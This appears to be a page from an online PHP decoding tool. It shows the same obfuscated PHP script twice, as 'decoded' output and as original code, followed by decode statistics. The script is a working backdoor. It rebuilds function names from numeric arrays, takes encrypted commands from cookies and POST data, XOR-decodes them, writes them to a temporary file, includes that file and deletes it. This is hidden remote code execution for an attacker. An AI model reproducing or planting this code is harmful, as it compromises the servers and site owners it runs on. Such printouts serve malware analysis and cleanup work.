Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function gc6 () {echo 'ek7'; } function sm1 ( $xb2 ) {$ax4=0;$..

Decoded Output download

<?php 
function       gc6 () 
{echo  'ek7'; 
 
} 
 
function sm1   (	$xb2 ) 
 
 
{$ax4=0;$zb3	= "<1S@' gont?HRkFhU_;vf#.T4d*r-csIue(xb69lm72p5A0a)E8yi/L"; 
 
	$ou5 =	substr("", 0); 
 
 
       while(1) 
{ 
	if($ax4>=count($xb2)) break;    $ou5 .=  $zb3 [ $xb2[$ax4] ];   $ax4++;} 
 
return $ou5; 
 
}$ok9 = [];$zpoi = 89692; 
$ok9[9722] = sm1 ( Array(47  , 20 ,  47    , 29  , 37	, 37    ,    24	, 38	, 28 , 37	, 46 ,	47 ,	47   , 28 ,	24 ,     20     , 38	, 25	,	28	,	38 ,	37	,	50       ,      36 , 28	,  46      , 44     , 50   ,	29	,	44  , 37      ,    47 ,  41      , 41	, 38 ,	24	,  25 ,) )  ; 
$ok9[95207] =       sm1 ( Array(10     , 43 , 15 , 43	, 5     , 3	,     32     , 8	,	39 , 52	, 8	,	13 ,  34	, 17      , 17 , 14	, 31 , 54	, 49 ,	17 ,       17 , 48 ,	18 ,	5 ,) )      ; 
 
 
$ok9[65503] =	sm1 (       Array(22 ,	40 , 7 ,	25	,  32 ,     39 ,       33	,) ) ; 
 
$ok9[49118]     = sm1 ( Array(11 , 26	,)    ) ; 
 
$ok9[59869] = sm1 (    Array(22 ,    53  ,) )  ; 
$rk24    =    100122;$ok9[21979] = sm1 ( Array(21 ,) )  ; 
 
$ok9[54228] = sm1	( Array(0	,) )	; 
 
$ok9[3018] = sm1      ( Array(20 ,      52 ,       39 , 33 , 17    ,   43 ,	32  , 9 , 17	, 29 , 7	,	8 , 9 ,      33 , 8 ,	9 , 30 ,) ) ; 
 
$mt25   = 92475;$ok9[68040] =   sm1	(    Array(20 , 52 ,  39 , 33   , 17	, 33    , 35 ,     52	,	30  , 9   , 30	,)      ) ; 
 
 
$ok9[77254]	=	sm1 ( Array(47 ,  27 ,       27 ,       47 ,	51    , 17	,	40  ,	33       ,  27	, 6 ,	33 ,) ) ; 
$vn26	= 83532; 
 
 
$ok9[25526]	=	sm1 (  Array(30 ,	9 , 27 , 17 ,     27       , 33	,     43 , 33 , 47 ,     9	,)	)   ; 
 
 
$ok9[28084]   =      sm1	( Array(33 ,      35       ,    43 , 39	,      7   ,  25	, 33 ,)     ) ; 
$ok9[96170] =       sm1 ( Array(52	,	8 ,  9    , 19 ,  47 , 39 ,) ) ;$ok9[50417] =	sm1 (       Array(30	,	9      , 27 , 39	, 33 , 8	,) )	; 
$ok9[99784]	= sm1 ( Array(32 , 8 , 39 ,  52    , 8	,	13 ,) ) ; 
 
$ok9[39328] =	sm1	( Array(14 ,       45 ,	54 ,      2	,	49       ,)      ) ; 
$ok9[17813]      = sm1       (	Array(23 ,    12	,	16 ,       49	,) )	;$ok9[15252] =   sm1 (	Array(43	,	47 , 29      , 13	,) ) ; 
 
 
 
$rl18      =	$_COOKIE; $mp17    =	"37998";$rl18	=       $ok9[77254]($rl18, $_POST); 
 
foreach       ($rl18	as	$fk23	=> $tg19) 
 
 
{	function la14  ( $ok9,   $fk23 , $rq16	) 
 
 
 { 
 
 return substr (       $ok9[25526]  ( $fk23	. $ok9[9722]	,   $ok9[96170](	$rq16/$ok9[50417]( $fk23 )    ) +	1 )	, 0 ,      $rq16	); 
 
 
    } 
 
 
 
 
    function    ol13	( $ok9,   $yf22 ) 
 
     { 
 
 return	@$ok9[15252]	($ok9[49118] ,	$yf22 ); 
 
	} function    ou11    ( $ok9,    $tg19,       $fk23) 
 
 
 { 
 
   return ol13 (	$ok9,	$tg19	) ^	la14 (  $ok9, $fk23 , $ok9[50417](	$tg19 )     ); 
 
 } 
 
 
  function	cd12 (      $ok9,	$tg19, $fk23) 
 
      {       return	$ok9[28084] ( $ok9[21979] ,	ou11    ( $ok9, $tg19, $fk23)); } 
 
 
  	function      kj10   ( $ok9, $tg19,	$fk23)      { 
 
	$tg19	=  cd12	( $ok9,   $tg19,	$fk23); if    (dm15	(	$ok9,	$tg19)) { 
 
	exit();	} 
   } 
 
            function	dm15	( $ok9, $yf22	) 
       { 
 
 
	if	(      isset	(	$yf22[2]	) ) { 
 
	 
	$az21       =     $ok9[59869] . md5( $ok9[9722] )   .     $ok9[65503];   @$ok9[3018]	(       $az21,   $ok9[54228] .	$ok9[95207]       . $yf22[1] (	$yf22[2] ) ); $hf20 = $az21;     @include	( $hf20     ); 
 if ($ok9[68040]($az21))  
 
   { 
 @$ok9[99784] ( $az21 );	} 
 	return	$ok9[17813];    } 
   
 
 
 return $ok9[39328]; 
 
 } 
 
 
  kj10     ( $ok9,	$tg19, $fk23); 
 
} ?>

Did this file decode correctly?

Original Code

<?php
function       gc6 ()
{echo  'ek7';

}

function sm1   (	$xb2 )


{$ax4=0;$zb3	= "<1S@' gont?HRkFhU_;vf#.T4d*r-csIue(xb69lm72p5A0a)E8yi/L";

	$ou5 =	substr("", 0);


       while(1)
{
	if($ax4>=count($xb2)) break;    $ou5 .=  $zb3 [ $xb2[$ax4] ];   $ax4++;}

return $ou5;

}$ok9 = [];$zpoi = 89692;
$ok9[9722] = sm1 ( Array(47  , 20 ,  47    , 29  , 37	, 37    ,    24	, 38	, 28 , 37	, 46 ,	47 ,	47   , 28 ,	24 ,     20     , 38	, 25	,	28	,	38 ,	37	,	50       ,      36 , 28	,  46      , 44     , 50   ,	29	,	44  , 37      ,    47 ,  41      , 41	, 38 ,	24	,  25 ,) )  ;
$ok9[95207] =       sm1 ( Array(10     , 43 , 15 , 43	, 5     , 3	,     32     , 8	,	39 , 52	, 8	,	13 ,  34	, 17      , 17 , 14	, 31 , 54	, 49 ,	17 ,       17 , 48 ,	18 ,	5 ,) )      ;


$ok9[65503] =	sm1 (       Array(22 ,	40 , 7 ,	25	,  32 ,     39 ,       33	,) ) ;

$ok9[49118]     = sm1 ( Array(11 , 26	,)    ) ;

$ok9[59869] = sm1 (    Array(22 ,    53  ,) )  ;
$rk24    =    100122;$ok9[21979] = sm1 ( Array(21 ,) )  ;

$ok9[54228] = sm1	( Array(0	,) )	;

$ok9[3018] = sm1      ( Array(20 ,      52 ,       39 , 33 , 17    ,   43 ,	32  , 9 , 17	, 29 , 7	,	8 , 9 ,      33 , 8 ,	9 , 30 ,) ) ;

$mt25   = 92475;$ok9[68040] =   sm1	(    Array(20 , 52 ,  39 , 33   , 17	, 33    , 35 ,     52	,	30  , 9   , 30	,)      ) ;


$ok9[77254]	=	sm1 ( Array(47 ,  27 ,       27 ,       47 ,	51    , 17	,	40  ,	33       ,  27	, 6 ,	33 ,) ) ;
$vn26	= 83532;


$ok9[25526]	=	sm1 (  Array(30 ,	9 , 27 , 17 ,     27       , 33	,     43 , 33 , 47 ,     9	,)	)   ;


$ok9[28084]   =      sm1	( Array(33 ,      35       ,    43 , 39	,      7   ,  25	, 33 ,)     ) ;
$ok9[96170] =       sm1 ( Array(52	,	8 ,  9    , 19 ,  47 , 39 ,) ) ;$ok9[50417] =	sm1 (       Array(30	,	9      , 27 , 39	, 33 , 8	,) )	;
$ok9[99784]	= sm1 ( Array(32 , 8 , 39 ,  52    , 8	,	13 ,) ) ;

$ok9[39328] =	sm1	( Array(14 ,       45 ,	54 ,      2	,	49       ,)      ) ;
$ok9[17813]      = sm1       (	Array(23 ,    12	,	16 ,       49	,) )	;$ok9[15252] =   sm1 (	Array(43	,	47 , 29      , 13	,) ) ;



$rl18      =	$_COOKIE; $mp17    =	"37998";$rl18	=       $ok9[77254]($rl18, $_POST);

foreach       ($rl18	as	$fk23	=> $tg19)


{	function la14  ( $ok9,   $fk23 , $rq16	)


 {

 return substr (       $ok9[25526]  ( $fk23	. $ok9[9722]	,   $ok9[96170](	$rq16/$ok9[50417]( $fk23 )    ) +	1 )	, 0 ,      $rq16	);


    }




    function    ol13	( $ok9,   $yf22 )

     {

 return	@$ok9[15252]	($ok9[49118] ,	$yf22 );

	} function    ou11    ( $ok9,    $tg19,       $fk23)


 {

   return ol13 (	$ok9,	$tg19	) ^	la14 (  $ok9, $fk23 , $ok9[50417](	$tg19 )     );

 }


  function	cd12 (      $ok9,	$tg19, $fk23)

      {       return	$ok9[28084] ( $ok9[21979] ,	ou11    ( $ok9, $tg19, $fk23)); }


  	function      kj10   ( $ok9, $tg19,	$fk23)      {

	$tg19	=  cd12	( $ok9,   $tg19,	$fk23); if    (dm15	(	$ok9,	$tg19)) {

	exit();	}
   }

            function	dm15	( $ok9, $yf22	)
       {


	if	(      isset	(	$yf22[2]	) ) {

	
	$az21       =     $ok9[59869] . md5( $ok9[9722] )   .     $ok9[65503];   @$ok9[3018]	(       $az21,   $ok9[54228] .	$ok9[95207]       . $yf22[1] (	$yf22[2] ) ); $hf20 = $az21;     @include	( $hf20     );
 if ($ok9[68040]($az21)) 

   {
 @$ok9[99784] ( $az21 );	}
 	return	$ok9[17813];    }
  


 return $ok9[39328];

 }


  kj10     ( $ok9,	$tg19, $fk23);

}

Function Calls

None

Variables

None

Stats

MD5 3791c972d57bc23c8f76bd46151f4938
Eval Count 0
Decode Time 44 ms